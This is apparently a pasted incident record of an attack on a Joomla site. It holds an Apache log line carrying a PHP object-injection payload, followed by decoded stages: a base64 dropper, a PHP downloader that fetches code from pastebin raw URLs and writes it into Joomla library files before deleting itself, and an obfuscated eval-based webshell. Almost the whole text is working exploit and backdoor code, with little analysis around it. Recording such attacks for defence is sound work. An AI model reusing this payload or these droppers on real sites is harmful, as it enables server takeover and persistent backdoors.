6ksyevKT

· 10 years ago · Mar 14, 2016, 01:06 PM
1
2
3Joomla attack + Webshell.
4
5
6FROM:
7
861.160.195.5
9
10
11
12Apache Log ------------------------
13
1461.160.195.5 - - [10/Mar/2016:09:27:18 +0100] "GET / HTTP/1.1" 404 8368 "-" "}__test|O:21:\"JDatabaseDriverMysqli\":3:{s:2:\"fc\";O:17:\"JSimplepieFactory\":0:{}s:21:\"\\0\\0\\0disconnectHandlers\";a:1:{i:0;a:2:{i:0;O:9:\"SimplePie\":5:{s:8:\"sanitize\";O:20:\"JDatabaseDriverMysql\":0:{}s:8:\"feed_url\";s:2442:\"eval(base64_decode('JGNoZWNrID0gJF9TRVJWRVJbJ0RPQ1VNRU5UX1JPT1QnXSAuICIvbGlicmFyaWVzL2xvbC5waHAiIDsKJGZwPWZvcGVuKCIkY2hlY2siLCJ3KyIpOwpmd3JpdGUoJGZwLGJhc2U2NF9kZWNvZGUoJ1BEOXdhSEFLWm5WdVkzUnBiMjRnYUhSMGNGOW5aWFFvSkhWeWJDbDdDZ2xwWmloQVpuVnVZM1JwYjI1ZlpYaHBjM1J6S0dacGJHVmZaMlYwWDJOdmJuUmxiblJ6S1NrZ2V3b0pDU1JqYjI1MFpXNTBjeUE5SUdacGJHVmZaMlYwWDJOdmJuUmxiblJ6S0NSMWNtd3BPd29KZldWc2MyVjdDZ2tnSUNBa1kyZ3lJRDBnWTNWeWJGOXBibWwwS0NrN0lBb0pJQ0FnSkhWelpYSmZZV2RsYm5RZ1BTQWlRMjl1UW05MElqc2dDZ2tnSUNCamRYSnNYM05sZEc5d2RDZ2tZMmd5TENCRFZWSk1UMUJVWDFWU1RDd2dKSFZ5YkNrN0lBb0pJQ0FnWTNWeWJGOXpaWFJ2Y0hRb0pHTm9NaXdnUTFWU1RFOVFWRjlJUlVGRVJWSXNJR1poYkhObEtUc2dDZ2tnSUNCamRYSnNYM05sZEc5d2RDZ2tZMmd5TENCRFZWSk1UMUJVWDFKRlZGVlNUbFJTUVU1VFJrVlNMQ0F4S1RzZ0Nna2dJQ0JqZFhKc1gzTmxkRzl3ZENna1kyZ3lMQ0JEVlZKTVQxQlVYMVJKVFVWUFZWUXNNalVwT3lBS0NTQWdJQ1JqYjI1MFpXNTBjeUE5SUdOMWNteGZaWGhsWXlna1kyZ3lLVHNnQ2drZ0lDQmpkWEpzWDJOc2IzTmxLQ1JqYURJcE95QWdDaUFnSUNCOUNpQWdJQ0J5WlhSMWNtNGdKR052Ym5SbGJuUnpPd3A5Q2lSamFHVmpheUE5SUNSZlUwVlNWa1ZTV3lkRVQwTlZUVVZPVkY5U1QwOVVKMTBnTGlBaUwyeHBZbkpoY21sbGN5OXFiMjl0YkdFdlkyRmphR1Z6TG5Cb2NDSWdPd29rZEdWNGRDQTlJR2gwZEhCZloyVjBLQ2RvZEhSd09pOHZjR0Z6ZEdWaWFXNHVZMjl0TDNKaGR5ODFRVUZpWTBWUlppY3BPd29rYjNCbGJpQTlJR1p2Y0dWdUtDUmphR1ZqYXl3Z0ozY25LVHNLWm5keWFYUmxLQ1J2Y0dWdUxDQWtkR1Y0ZENrN0NtWmpiRzl6WlNna2IzQmxiaWs3Q21sbUtHWnBiR1ZmWlhocGMzUnpLQ1JqYUdWamF5a3Bld29nSUNBZ1pXTm9ieUFrWTJobFkyc3VJand2WW5JK0lqc0tmV1ZzYzJVZ0NpQWdaV05vYnlBaWJtOTBJR1Y0YVhSeklqc0taV05vYnlBaVpHOXVaU0F1WEc0Z0lpQTdDZ29rWTJobFkyc3lJRDBnSkY5VFJWSldSVkpiSjBSUFExVk5SVTVVWDFKUFQxUW5YU0F1SUNJdmJHbGljbUZ5YVdWekwycHZiMjFzWVM5elpYTnphVzl1Y3k1d2FIQWlJRHNLSkhSbGVIUXlJRDBnYUhSMGNGOW5aWFFvSjJoMGRIQTZMeTl3WVhOMFpXSnBiaTVqYjIwdmNtRjNMMmRDY25JeGNuSnlKeWs3Q2lSdmNHVnVNaUE5SUdadmNHVnVLQ1JqYUdWamF6SXNJQ2QzSnlrN0NtWjNjbWwwWlNna2IzQmxiaklzSUNSMFpYaDBNaWs3Q21aamJHOXpaU2drYjNCbGJqSXBPd3BwWmlobWFXeGxYMlY0YVhOMGN5Z2tZMmhsWTJzeUtTbDdDaUFnSUNCbFkyaHZJQ1JqYUdWamF6SXVJand2WW5JK0lqc0tmV1ZzYzJVZ0NpQWdaV05vYnlBaWJtOTBJR1Y0YVhSek1pSTdDbVZqYUc4Z0ltUnZibVV5SUM1Y2JpQWlJRHNLQ2lSamFHVmphelk5SkY5VFJWSldSVkpiSjBSUFExVk5SVTVVWDFKUFQxUW5YU0F1SUNJdmJHbGljbUZ5YVdWekwycHZiMjFzWVM5elpYTnphVzl1TDNObGMzTnBiMjR1Y0dod0lpQTdDaVIwWlhoME5pQTlJR2gwZEhCZloyVjBLQ2RvZEhSd09pOHZjR0Z6ZEdWaWFXNHVZMjl0TDNKaGR5OVZTRUZIVkRnNE55Y3BPd29rYjNBMlBXWnZjR1Z1S0NSamFHVmphellzSUNkM0p5azdDbVozY21sMFpTZ2tiM0EyTENSMFpYaDBOaWs3Q21aamJHOXpaU2drYjNBMktUc0tRSFZ1YkdsdWF5aGZYMFpKVEVWZlh5azdDajgrJykpOwpmY2xvc2UoJGZwKTs='));JFactory::getConfig();exit\";s:19:\"cache_name_function\";s:6:\"assert\";s:5:\"cache\";b:1;s:11:\"cache_class\";O:20:\"JDatabaseDriverMysql\":0:{}}i:1;s:4:\"init\";}}s:13:\"\\0\\0\\0connection\";b:1;}\xf0\xfd\xfd\xfd"
15
16
17
18
19Step 1 ----------------------------
20
21<?php $check = $_SERVER['DOCUMENT_ROOT'] . "/libraries/lol.php";
22$fp = fopen("$check", "w+");
23fwrite($fp, base64_decode('PD9waHAKZnVuY3Rpb24gaHR0cF9nZXQoJHVybCl7CglpZihAZnVuY3Rpb25fZXhpc3RzKGZpbGVfZ2V0X2NvbnRlbnRzKSkgewoJCSRjb250ZW50cyA9IGZpbGVfZ2V0X2NvbnRlbnRzKCR1cmwpOwoJfWVsc2V7CgkgICAkY2gyID0gY3VybF9pbml0KCk7IAoJICAgJHVzZXJfYWdlbnQgPSAiQ29uQm90IjsgCgkgICBjdXJsX3NldG9wdCgkY2gyLCBDVVJMT1BUX1VSTCwgJHVybCk7IAoJICAgY3VybF9zZXRvcHQoJGNoMiwgQ1VSTE9QVF9IRUFERVIsIGZhbHNlKTsgCgkgICBjdXJsX3NldG9wdCgkY2gyLCBDVVJMT1BUX1JFVFVSTlRSQU5TRkVSLCAxKTsgCgkgICBjdXJsX3NldG9wdCgkY2gyLCBDVVJMT1BUX1RJTUVPVVQsMjUpOyAKCSAgICRjb250ZW50cyA9IGN1cmxfZXhlYygkY2gyKTsgCgkgICBjdXJsX2Nsb3NlKCRjaDIpOyAgCiAgICB9CiAgICByZXR1cm4gJGNvbnRlbnRzOwp9CiRjaGVjayA9ICRfU0VSVkVSWydET0NVTUVOVF9ST09UJ10gLiAiL2xpYnJhcmllcy9qb29tbGEvY2FjaGVzLnBocCIgOwokdGV4dCA9IGh0dHBfZ2V0KCdodHRwOi8vcGFzdGViaW4uY29tL3Jhdy81QUFiY0VRZicpOwokb3BlbiA9IGZvcGVuKCRjaGVjaywgJ3cnKTsKZndyaXRlKCRvcGVuLCAkdGV4dCk7CmZjbG9zZSgkb3Blbik7CmlmKGZpbGVfZXhpc3RzKCRjaGVjaykpewogICAgZWNobyAkY2hlY2suIjwvYnI+IjsKfWVsc2UgCiAgZWNobyAibm90IGV4aXRzIjsKZWNobyAiZG9uZSAuXG4gIiA7CgokY2hlY2syID0gJF9TRVJWRVJbJ0RPQ1VNRU5UX1JPT1QnXSAuICIvbGlicmFyaWVzL2pvb21sYS9zZXNzaW9ucy5waHAiIDsKJHRleHQyID0gaHR0cF9nZXQoJ2h0dHA6Ly9wYXN0ZWJpbi5jb20vcmF3L2dCcnIxcnJyJyk7CiRvcGVuMiA9IGZvcGVuKCRjaGVjazIsICd3Jyk7CmZ3cml0ZSgkb3BlbjIsICR0ZXh0Mik7CmZjbG9zZSgkb3BlbjIpOwppZihmaWxlX2V4aXN0cygkY2hlY2syKSl7CiAgICBlY2hvICRjaGVjazIuIjwvYnI+IjsKfWVsc2UgCiAgZWNobyAibm90IGV4aXRzMiI7CmVjaG8gImRvbmUyIC5cbiAiIDsKCiRjaGVjazY9JF9TRVJWRVJbJ0RPQ1VNRU5UX1JPT1QnXSAuICIvbGlicmFyaWVzL2pvb21sYS9zZXNzaW9uL3Nlc3Npb24ucGhwIiA7CiR0ZXh0NiA9IGh0dHBfZ2V0KCdodHRwOi8vcGFzdGViaW4uY29tL3Jhdy9VSEFHVDg4NycpOwokb3A2PWZvcGVuKCRjaGVjazYsICd3Jyk7CmZ3cml0ZSgkb3A2LCR0ZXh0Nik7CmZjbG9zZSgkb3A2KTsKQHVubGluayhfX0ZJTEVfXyk7Cj8+'));
24fclose($fp);
25
26
27Step 2 ---------------------------
28
29
30<?php
31function http_get($url) {
32    if (@function_exists(file_get_contents)) {
33        $contents = file_get_contents($url);
34    } else {
35        $ch2 = curl_init();
36        $user_agent = "ConBot";
37        curl_setopt($ch2, CURLOPT_URL, $url);
38        curl_setopt($ch2, CURLOPT_HEADER, false);
39        curl_setopt($ch2, CURLOPT_RETURNTRANSFER, 1);
40        curl_setopt($ch2, CURLOPT_TIMEOUT, 25);
41        $contents = curl_exec($ch2);
42        curl_close($ch2);
43    }
44    return $contents;
45}
46$check = $_SERVER['DOCUMENT_ROOT'] . "/libraries/joomla/caches.php";
47$text = http_get('http://pastebin.com/raw/5AAbcEQf');
48$open = fopen($check, 'w');
49fwrite($open, $text);
50fclose($open);
51if (file_exists($check)) {
52    echo $check . "</br>";
53} else echo "not exits";
54echo "done .
55 ";
56$check2 = $_SERVER['DOCUMENT_ROOT'] . "/libraries/joomla/sessions.php";
57$text2 = http_get('http://pastebin.com/raw/gBrr1rrr');
58$open2 = fopen($check2, 'w');
59fwrite($open2, $text2);
60fclose($open2);
61if (file_exists($check2)) {
62    echo $check2 . "</br>";
63} else echo "not exits2";
64echo "done2 .
65 ";
66$check6 = $_SERVER['DOCUMENT_ROOT'] . "/libraries/joomla/session/session.php";
67$text6 = http_get('http://pastebin.com/raw/UHAGT887');
68$op6 = fopen($check6, 'w');
69fwrite($op6, $text6);
70fclose($op6);
71@unlink(__FILE__);
72?>
73
74
75
76Step 3 -----------------------------
77http://pastebin.com/raw/5AAbcEQf
78
79<?php echo 'walex';
80function fUUPd($NVAR)
81{ 
82$NVAR=gzinflate(base64_decode($NVAR));
83 for($i=0;$i<strlen($NVAR);$i++)
84 {
85$NVAR[$i] = chr(ord($NVAR[$i])-1);
86 }
87 return $NVAR;
88 }eval(fUUPd("jbvnzvTQep53AAZ8Dhs7BiKFjlmGFYISsAx772QUCKzD3nuQYw8/SY71x95+AWJAcnGVZz3lvvjO/OUvf/6KI+n+Lk3WAkf/OS+yMS/+7q+cNXXZIB9ZR91xyBzZYE9pn40a2xKcNbZprzd5A49xwLdxKD/hR+/SwRoVd9XZvusl9lfJAtZEn2gqTkiRRbmLe//tS6JknnJtXw7eI5WhyvN5pvRaX3jPea/Oc+Nf2vuV6dilB/mO3/pOcOeSz9tWCPt/ni0tL+fdzhrC/3+86slFeco+9q2w9h0HcZe946msjEVBdaS3NEkCdUuiDmV997aVxn83p1Xq5T/rqxXnXWvN/Pf6uqMArlPBv6W6/aUf6fenTRK+fda/9m3Tv7bosvqsY4Qa/vaY15T33h4h1CbV3f9o3Cp7+8nZv9UfNsUIXP2tueWIX0fBBUXO37RJF3/8XR1k+G/1+V6H00Be49A/UwT9tzX9j5+J+g5S+wv7m/MVur0I/TtlsSZFoP+6R+fbZgjf9eaCPiqsdBQBv8eCj4Ysduf++a/not5Fodwk/AkqLDqbd5fJ/XWHHHRI9fnvxvm3OfxZP0xtUWg3CUuPUv3u45+9FPxMrX+70pBTyFJw1l+Z+dEr9ZbWf2ezv2FPGMs+TBUh3v+UfeKeb+JAPlJk/Z+zZ0Ctaq8f6buvr43eOJ2muH7XEP735qO/c6m6/9rvf79dt+ehvL7t3lhu5Tf+ZTaouiiw33F/tStQzWuv6d13XBIqKBdpXL2pJhG6NRXa7Z1jk4RMl93/sn/H+9yWBNi/+Pn73LuX1Bt7+pr/6e+m5tfeWyp890yozndM4l/H89Ek/Lf88uuod23/cvz17//+H/5Sl39Xr2ux/d1/+mfh6/5ff62H5K//99///f/zl//4H/7yn5J9q/55Stb1H//613/4T9nYjcs//vV/yUvsPcuLMtm77Z+TbKvH4R//ytddsWrJ8O9u7Wvxz0mTXP+4LXvx3y5nVbK8I/7jX4N6yMdz/d9hBIP/+g/TUvz+eSmmLsneJAr+l/8NLP76n//6TxeO/dNF4O8n/B7sP10I+X4S7zX6/aTe4/se+L/e+9OGQP/1mX9ph/zbtc+/Xvu87T7vfYx/z/+tHf7n3r87R8j/lQjhpaBW5AG5gfKzs2/KeAbMyN12YkW0IbGwDWncKdt/E16Y8tpfS+vAZrvrbVASBIuyrf2db/TjEB9Sh490LyeCl760Lbe0zdCiS1y2P+hSt9doaOA5IV8E4rKgqSN5Lz5NR+ZpXBLXe5ZTihymIruZFptG772fEkRbbAVczo+f8GjAU1RMreH1Q2if8wIPd4RzoFKpbEY0ntpYKv+pJCgoekGiOtjMl91B5rfddOxI1Jak4/z75ksaULFpkZX1zF33BrHL1Q8SuYMeksn1hPlLK0cxHAMOGhRe3YMZduIMmB+qtkWCp8pn2XufPTJAF9wwMkFquy8EHXJFqXHLYcSPRZYIGzQkanLna5zI9Lg9EOOln7HoXnsUe1CqcW8zFIfslxuWxGZ7/6BE2+j3IiSOvqD6nJt4DmCSk0fcJAgykWbgsgv6QuGlg9I4RJjuD/itSUJl09N+Sl/iYVJTBRU2VCAXzoa2HqXqxJ/bqiY75kbAPpbD8hL6dd1Ie7JV00QXiFdy/X4vxpiDGjFK50ML9WmqYFyNpVkBpqX1rOzqiEe7ivBkn4ckevrg0Xj4JgnKp6ZlgpZILLVUmXk2IdVKy+t5fzQRxSL9MegvESGAiD7RLfVCOZMwmRkjmH2VE2tLipnW84LNqRLUtM6N5JYdJP8lZAIgfQUb+0OThL7cU0uoqVrq1Bol0RiBnhCmEN1x5PSRqANaJGU6mRx+3FjnNkOpM9PTha5H00XSBEO+WqDr3USvGLyvyEjTdMgG0AFGokAyMs4kgCAPRDMoYkpOPWlXrNp4HYrrb2YduSJUknpoFT/OWjtQ3+UdnB4CoJun7KRsk1GpdudC9IdhMPEAOCOaOJoneRcggZzGzBoOb2Dtkom8MjIXatsnQ5HRAI6pPsNcSbApED+k5b/KQnxsYRUYWmg/Ku0RqsH72hB732V1UZcGstqmvsRQ0SsOWhmkqd0cGKKxWSdWynZ686MFPghGwF/GpVG+sH08M6f2s0BTRBFqz3S/30i2k0tDQVqniFfM7NCKqrn2fBDyRF0sowCS1o/NMKxlbon58WB4vmfoM+VID9utJrIfQR7xwWIAkJ3slueRZeGAXegPaCxYlkBMn1pgh75yNim6rwgfpIHtPuTSYkDfG9QeiCRE+S6ofK5/uPWmqZ3L41k7NVzMd4BAMeLRPGrmpNjd6XDF89cgq2ydtHznMbs1cZNQ0FdnCbIGEBMAiF8HhMpMsZB1EpSQGnSRoDnTdU0Farb6dMjYsLe0xHMT6BHCHMIpI2f7c8Nlh9qWY2+/ZVKCG1raQ9Nt8aU7yygNihvg1qM3Y9F3SiGDPfQpRpGRUEpw86hsHdO0EGWlQBO2CUGrzCjDThmFbEb97mNMfci4Ww2v/+2kpyD4D5LXKIvLvOA292bThFYrydPgLlDFdGlwC4H4ZBnPMsqMnKNMC00+Y2JrmIKuLJMeTgxJbmoNT9XQWigPBqxTTZaerP2bb4Lbq8/8aYef9QEERAJfAezElXYnn7W+sH5A4aywKzC5M2O6i9Zi7q5qZqJWVw5LB7c+xQQOBjhY/KDaBTnX7z28OY33xDbmZPoOpFkopEA8X8XdQiZnL0TV9EhK0618zhDCTARHkj13OZBOh9WCxXE+3/DlITLwnBJigf5QUhDzY2g0wsDoIDAGj5un72BKQp5Xac5yKC9m8SOQ5mRTbmBxsKTBbvQMR1kNCVMKkY3GCgWVaV1Xt4V8fhJtJtpPLbJV7j7Q03AmyOqk4LpN6W59eTL9irpwQ9UzlZCyyUNp92ykSGz5kN2FKoV3u8WvnzggT2TbelEFGcvOcu/d3WV61mRMZ1h9O/9uOQfZQMuF560b58P4sFojHJ6sLB0z5M+ohYY1r7C9Y9HnlSy9NaFiDLY8UVHM6fP9nDD3fXsbe8pHsiY0Sj7kW3L4N12Q9UFTaQ443k8jsu+YzeJAaY46R9vUkszds1b96QzD8gOxeDPh91L0LkBhfYxpSMGZqgTwImStdBQ6ogSujL69e71SrFccvKWDdbDV3AFW5Se8KJavp8rLsU9u/hOuM9AXjilqlyt9Bsdj0FJGDvuzfIzhCDednnX8HMDXX90aYHfYM+RTVy3WEG6JhqyZ88BoOQEzRKBy6PCInE4Le9L4NA2i+5UD/1QlU7Mt0hqlYB9cYjiwDtMwrKOREfN8QuEzCZTeEeCxZCBsytTbsIpsUqsE6pdq86WtMDNY10nP7byiktA8P66qrclqHVQyfSwlo8h+PH/w4zNxwjfUz7eGXtV4gIHVNAJxpVR5fHKi0uiThfl58/o1MR+MoOZzKpsRBnnwGVpO9RIy4wqK5plO5Mp0kQVF9KhjC4rAdDf2ubr4iWn/BHvM66nMGMRpu+G1y72xIetsqowHYKMW1oyDACvI7UsYOLC2m2D8kD4numZpFyXw6oScDSAPLyb8Lx2hhs3i1/Eh7K2rUifGcq6pWlRAxvFT0eAIsnKzUXMUn58BMDg7CVmvwsVA/5KFxrEvs7dEAVO/M1HgPXZxfjUwh6mHZc89TyNtRG0dmeWqPBxQfStD6L1ME62bB8WHKVCvaK/tVxqY6wvmYl1+S5+G9B3WvVJq7Uh7vOGXwqu6wul4+juiEQpgKJiQ9CWXkmznWR5IX2569UTY2CusLP6ATdybiRY/5wNoeMHctr5qVBgMUBrGlTShW6MPRoIpEkudrs1R6n7ArRbbNMi19W6SgmP70pX6uIvMYHHabUQdlxIyjTYfYi5wVjWq7l5eI9agZF42l2hesI/QfVv1yKldKKH+0LcGWINxd/ZfRbu5S6Ijj7mna+vhgrqDQgRuxz6JsS4BKpWoAE3Hn6lkMUmz9rZE7XRUYvpzZxX5nikY+iuzPvt4aypPM0WcGWq07KE9d7LmN79Urxqntateu7HpcQBMjrOhRsc47qQ8xIFAkef1QH+/OYyd+lxDL/I+ZOyzLbZgS3BlzfhxnPnwN+KxlABJ4tpMdcYHCKBeSerAyHwoEqfL/Q9sh6Uvwp1fhnqJj8sSiPAQvsGNe1wZksBnYrkaAApHLL7bF4snf1t3Nxg6R4XA4EYkK5J0klw1c/36iYJ/XvWlK0c2jyHxnUPB33Svfet7DvfL/V3i5LQTfOukxn13S3Yd6J6jgXQ8aJoUV7iKF5rS8TsrB99uDoqoU5DyELv823mQXs2mpZestxk4e4jOkiWZv3rtYSLIpB77zKexXlDXU67uK8+lQzlouy7rN2kJL8oTdlWmEZeLlN35DQ62ots9PTjnWvtUdmgKFlBHuU4Bi/X1OEBCW+At+WDvnR/oPODgLMzGI/TOHEJh26jnaUkjH57oxTIrJE/aI0k7CnhrklsWge27ccxuiA3qQxIfdyXx3/dexT6068EVaXmaUC3AfusWZ1YihiIVAOUDkDQsJWz2G92usjVIHjigUsjUaIw+ho0MhAR6YdVYhsEF281VTMV+IrupgMLnQMZveW6Cl/wC+XGeC4gWUPLGsbasG3MpaT6qBuFtYsMrkWEHV/iB5/fdHh4VENGb5njc9EEU7UvzWGMscZoukI72vn7F6Jgm3QowO0k1oFGjXpa8cGKHEEH80eN5RzEcM7ykMH/U+GSgYBSkj/qCaxwuCuBh5KFoIAGzzrouyE+zboBdL3s2xembT89dqM18sRwsN+AaHdfcF82smNBftTv5AlmZFO5CB8+C11UfwPfzQSc0QnjDladU7GLlrBJPxVkKR9iK4SI9dA2LQa2MJs7E/tIqsJTKLtezvwhtlcHG97Qe7hMG8Fqwmsx7H+s8LjvR3D48p2jb+umKXuDcCYhpa6M50qs7f0TVdtWQe9+9b2PDw0SWXH2kVW0GrdVq3UaIDkOcmfTSiwh8HfFCgFASxxK16yp6T7NsX5BCA6JuMbuYOu7VCWAmHGDmc8wsfjQ4Y3Hkd/PHtZXATL5cXgrP4bcnueTJMrN1FXPTzfFIZOOeXO3DXb1XpQDNx7W9Ptx+V/mKpULIObbIFV/OdNrA73S7f4vYTKmKyjH10I++llKgagwaC8i29IZCSPpL9/Z5Bb8138RX0xL2+FlcFCOpk/0lzLa96MXmFbdQ4hdQeMfNikIz387Rq2XRiL8Bx6nXjW+pzoscCiWceoncX6b3ULaE5Fi55Q249RsVm2V2JGesXRZ4s48qRgYYwtdnNVMEOAoXjVPyYdmN1K9dRGIiHBe3E7RC3uyngc9SFzaQTaFfrCAt25/+HVvKfL05XpdlHuSvwpyxj/b9diyT8F6mRdgPYX+0hbajQgeaD0SGVo/qxcHk10UrSmqdqErpwns50mIYAhl6SjLyJtxg8TeZqVBL5dnbI29gV3EEeZRvQDMvbXPODM6kKUIDz7jszM6TznSrBdEhTCeLLltcY8pXo+imWAv261kiBM2HaqjRzt0DeEUWAaBHZUDq9M2QP4oFslyYAa4OSWdEb41VfxNYKoeVBsC8tnsTq4le/2g2yJgIgesH+cWHgYH3XQZlEeLIAY4OhcfmxgjiTIQ4eU3A8axAoXb49yDxCwYRzAhU/nFN8NuvVyxSrGYRXfOixuRHUmlLmHQpSliTE/XGTTzKwUlwC8O0TGD5K6b6quonnQpPZKNdqWzp0H35jxhnaW/oEnI1DXo71ATh+ejljbkDSLA0DAitPeU+PeuIp+Y+JFMhzJm7WAbcRTkP9h1WLjWQmvz8GBBnBrahBZjEaUaTyhi0Y6oj+YxGXpVXfx+im5GzMHJR43D0DEvUa+FXdAVqUaPQvQvYlgvfAvjp4L35MzkUrtai+XKCBGX9jKc5wy9EoDokoSjS4cM3giy+GAHIVAUa46LTfH5vZRLlojZQTLHz3wSfLtFAi0W6ZExYaw/kCwpFDYb8WEDveW+pj37yO6FPKbJOwbqERoHbRr+ZGj/eSASeparx24Nmv2ZhtQM9jealfn4V9auvzGa3mv45WQGNHgj+ftfKBd8pS3aD67rzJXU+fZ0araVxxvn+qTVwmGJJs+nFe0spZWer8ya+0fZ6NXLGfXSAEdoEAXG3VfJwI4iIoS4gW4FhYFXzbwrM45TbnNAdNi2SJUT2m5tbIBUBFxmsa/7Vkf4HWBxAA0Bz9DBugjuhFb9PJhopjCiJ7KmHR7wSRaAu0xIqFtQ56khjmS2ZJgJOblZVV2G2dc4uWn81yAxbpBDuX3eIDlOORf/HLYVyuFTyXH65sR+Unc4nDWZF0j273/Cohm7zN6jHg4aBQvIw0QAbasmiEf18/EuczNtM5pEZyCXJ5kenGqdDGfyNqhJ+byXfxtVXDgO/mKrOsVnqjM/SNDQbjE2CNtuS7wCnJ3N/B2vIPwhZEsDVzR81EaHPMdnxY0X3ZrVWhNohnbZfkDr53Xi9RqKbJ5GEvaUc9k5COBbn54NM+xexGpEdK6ofS9DOg2QgOvLnsbbTbWMHQCxZddLyJffv8W3sSidYO/pOQbAqWEfNfoa2Juk3Y4HZirZZr5rPIsbdo7dCKjnXv4oGMC4eC/km8WMRD7sNxnT5OW1WoJBOG/jTzfhohCDesANREZQ/7x9um0tRUwp46PNVlYRpHnDshbSuDOwbpdTzMRaZ8PP0DshMYH94E+H0ZTQEFmsL/vEc/qfA6PN1QBSxevrJB4Z5I5i0HIkDRwGkjvizQZSWYjK2c3z+nOGCv9Tte2+OPpr1geYn3IKnA1e1rMVyF26Z2I2uZQC1Ub+qJRQTMMt4dfkkGTddm9S1QVn695KHbGKei1NwIBcQ6ElngyDK2t5Xej510u0lFulLwYuyXP/h9flJ4jklCmlQDOZXx0qEf2OuIh14HKv+YWSYY3/HXnARE7sc7uxPRNRU1zmESnW8K2MsBhbIbQy494IrNHVneEBMcXXGR7VM6AXAmOWcdhbWvmFv6KuwJz07cadFyqbLrPoy1q4mfF4Bfow6F8wVbmcWAtaQoTSHjCF7ygoTHeVAKPwpsjplIZUjqe7DEkao1hNXtFuKTM6kJ0DdSf6Eo11DbkdLCNsE8jqSYUVmeLn0bftgoot0ZMeUxujPpAaEVACbIjwMXDd37aYfkAsMhsikXb8KxLYRj0Ae7Xgomky/tYZ9+i0IzIN5GfBRzGPYAFbwwuTP/+4AKCfiiwJSLtTa3FU/0vBqPnv3A8usb5ddMbfQXhOL2978eRFHaaCeb9Nak6OBD/LZaZaRQIW/1Ki2EPLcBf2Sic1OhLorS9Zk+XrI30OxACWQ1V+qEzX4hCII7qx03KEdpUdnnSxtfH7Oj7slqF7q88pTRD/jM6lAX9IMTgmoHFQe3VX7OQgOcXAPHnb6WWQZUYKnhQJ7rnH4EBoy30WsQkH1ei4NPsgQdZ34F/gdWz9ZJhcT3AJGtOIYtwkPBLHV6la69KvNvjDib1V+PXhH56B7DGbe/AuaaVyqVsEbQYcQXem0yU/WrWd99+pKf1XcXIGr+pZiqD9Zwa2iRoJouVxcy6+442US9+3vU75/v2/rGsoX5HxW/xglbi23dGboQ89GO7YCfwanpOEFum7+u5mod8oaEK/SdaBUKGKMt3Th8uCsURcfTHKUDlhf/PowSfQ9DUv5nsU9fxcdrrdiAuEDfBYzclbtRUfHoWlYABMT82bKJWY2MpB4ZO/vhA7DQDlNwytKXRzhAwxXZqL1d7xaiic+xql+v8q3FbsPOdxZfmB9cfl2r/Tk1Zfs6sak/IKXMn4M2CM/hJ+QfcnYZWRGhOTcBvTNmp2hROkX3omlXqYE24/En0Nbn68QOk1MlXiyazkkq7mFDSzql74NhFWOWYQZNLdwDwuzQySoyTPs8MPpw9rtI1EWtvr0qqQFJoV7mIQ2WcOSDaGzmM3p7c3rXfteW7K7mzujomyaH1gLyqBzt/65YutF9OTGF01UkiMQ8WSdOj3gYV8EYlcmOIPXms7/6CcmDVZUup3tL/EIpDIOfmt5xnh6VHqt3J6SAZTZawduotbg1WeuebwSVoaR3Rkn1EtmieufZ15pfg2lwnHx8rssD3hQNizMFKVMaYRg2hbpFz8nSKFzXG94vAmGHosMYZPCpCYJ+ml1HRHRiHidO54uhkOr3tqsx+qfBtecXy4z79943NzlW3XIuW8Wxfxqu+aiqj/TE1Rct9jfkMnOOB54H/vaIbbpm+eeAMV04fX11M2OAdUZdsWr4tFuSn0OjMKv3WAireZX0m9i0XirZOrvqVp6vWQJJPGPwgOOZdRPNDZv3lysWalCcRWGVVejkeUpZa/CrHmR6k2aeKeP2LUxm1arby0LhmpfHwn8TcFd1krH0HQ+9wGvnj2pKITG5m+d81HGvr1DnHSzol+hH69HDphxl9Bb5aM20GvLLagzMRkNWJpmj5SEPNS/xmpa+OfeF4rLmvImK9RbUAPFkc25b1EiW9xMba1tYa67jDa/tPW+b2nuFsbhcm/vIJggNCPlkBPkO86vySgjQ/+JAoKz+ZXT4I+veacKrwGRPQulfPDrpRi8l7RYsOXmcCuudi7X0BOlJbmgsFjeIBIqyaj49/VpjDXuByKNwK3zkWvvTiM1sWEp+BKVMjWgJFPJK0fh1dtG7mSmPFfr1xLPK+nTF29kvgl+Ynwx+Tf4xkHXaTpRDgcxrYls39Y7/3oS7peizcxiz8GDmjKEKLXkjMLrf0/PmytdlQyNktCBb80+4CL/+8XMPmmFQt34KcvEr3X2e/nCkrP2+InnO7h7WTHUKuXM0+s/669/9Lo4YTRiGVDh1gZPEp8aoXRCLDVFL5mErKC6cqFzAhCwItxcCHqCe+dNIo6ERRYfoZu4AKpMrm35+q8hRV2tLoBsy8MvrjPGrFWtDNMXK3TXfYLxwMy+sGtLdkTyXBrEwSK3gt8wHNr2aJyd8H3kPKGJwu+Xw08tTf0RBDCXqkwNsfPIC5HLwPmzsGkDVGSitL/MVjObuavlzay3Sxpgo9pxtZNzZpRk8a3zy0TpDEdtySEPW/RDxfqKb8AEGnMQhcGkK4WcZCYLPN5kEtvVCR02zLNPPwMgRwk84/C822QJTIdkXwopGqVKQj5ns9aWQmh9KM766R9t0Lixd0ejw02kbYubepVFGnWibuCMdprAy9fEEbPzU7JnkxrDKbIf9Uclm0fnv5Koj1czFj/vUU/dhhOpDgF9bzm0ouuy8U9zR1DBILrxyX85+CaR5mCGCLb2sdjmD7M+Ag/Q0phVi8Ej5ddsGwU4rbRSool0G65IFwnLNvlVdZeGv1il4J/AGgD3lNEoO1lclr62jHcypzh9bxoZCvWbeqiutvi3BnLAVGC5VX5L3+lAcARH1xQNuf7mNRflrAJifY4Vtvzqla8o9wtJBa+UjsEzzY0r14tDBXXehLOIN2DyYNKxWEZc2BE2mEo7Sa7Y7hHYPczxMzBd/qb8YNY4LPT2BQN6zEUaAKJOHbxYMpBACJF8fsuoVzzDk7/cX/71LlCwLvhnfU2y6T59aMILlBCp11AzzOFt/mpKC9Vc0bsk2etSFmzw7CeH/M4N8v5RVw2TElKy7SKpudCH+ruZ8qCNrenZxCc1JUj4/PAv/731CmkcB5UtP0khdlzgevZVcT3qlKaaO+JV4hAuNf3EZeykQ8DsiF7fi/p52To5vbtkAZaquLfga4GFNsF51Uvytjd9banHb/hkX13xSCyVAkDJLKoX0cSJBBAdmgm7N+Rqh6cW6sbqYcLZYibYgO0jTdYUW9zc+AIdUUTDg/iR/mDUTr3emC7+XPh+hgT/tP1fu0H3s/vWxKOuiGqfGHhTGMXU55RtNFZhgQ/iAa5VH8G/hA4r+zj3LK7jvurmilp/6pnlgeI5Fk4mE3F5KfbLywTf2Bleuc4G2ggcGvLaM0Z1qI6HSWrktaHY0TtvGGhYZydoYzFCVBI/xyu3VSGNq26pF8XUx8D6U9uLvFcUHg9dV/K